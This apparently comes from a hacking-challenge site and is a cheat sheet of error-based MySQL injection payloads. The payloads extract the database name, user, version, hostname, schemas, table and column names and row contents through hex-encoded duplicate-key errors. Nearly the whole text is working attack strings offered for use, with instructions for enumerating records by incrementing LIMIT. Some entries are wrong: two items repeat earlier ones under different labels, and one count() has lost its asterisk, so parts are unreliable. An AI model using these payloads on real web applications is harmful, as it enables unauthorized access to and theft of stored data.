RTB WarGames Challenge Article 1

RTB WarGames Challenge Article 1

By ghost | 9512 Reads |

0     0

But since you clicked it anyway:

The following are Error-based MySQL specific injections using String type parameters.

The data is returned using Hex() and cast() to make the query more reliable and avoid bad character and format string issues. These injections are also totally dependent on the availability of the information_schema database.

All data will be returned in Hexadecimal format, simply decode to ASCII.

1. To select the current database

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2. To find the current user

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

3. To find MySQL Version

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

4. Find current database

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

5. To find the system user

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

6. To find the hostname

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

7. To find the installation directory

(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

8. To find the DB User

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

9. To find the databases

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

………

Note: Keep incrementing the capitalized LIMIT as per below

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

…………..

10. To count the number of tables in the selected database

Note: Replace 0xHEX-CODE-OF- string with appropriate value

(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0xHEX-CODE-OF-DATABASE-NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

11. To get the table names in the selected database

Note: Keep incrementing the capitalized LIMIT below for successive table names

Replace 0xHEX-CODE-OF- string with appropriate value

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX-CODE-OF-DATABASE-NAME LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

12. To get number of columns in the selected table name

Note: Replace 0xHEX-CODE-OF- strings with appropriate value

(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM information_schema.columns WHERE table_schema=0xHEX-CODE-OF-DATABASE-NAME AND table_name=0xHEX-CODE-OF-TABLE-NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

13. To get column names of a selected table name

Note: Keep incrementing the capitalized LIMIT below for successive column names

Replace 0xHEX-CODE-OF- strings with appropriate value

(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xHEX-CODE-OF-DATABASE-NAME AND table_name=0xHEX-CODE-OF-TABLE-NAME LIMIT 0,1 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

14. To count the number of records in a selected column

Note: Replace DATABASE-NAME and TABLE-NAME with appropriate value

(select 1 from(select count(),concat((select (select (SELECT concat(0x7e,0x27,count(),0x27,0x7e) FROM **DATABASE-NAME**.TABLE-NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

15. To fetch records from a selected column

Note: Replace DATABASE-NAME, both TABLE-NAME entries and COLUMN-NAME with appropriate value

Keep incrementing the capitalized LIMIT below for successive entries

(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(TABLE-NAME.COLUMN-NAME as char)),0x27,0x7e) FROM **DATABASE-NAME**.TABLE-NAME LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

End.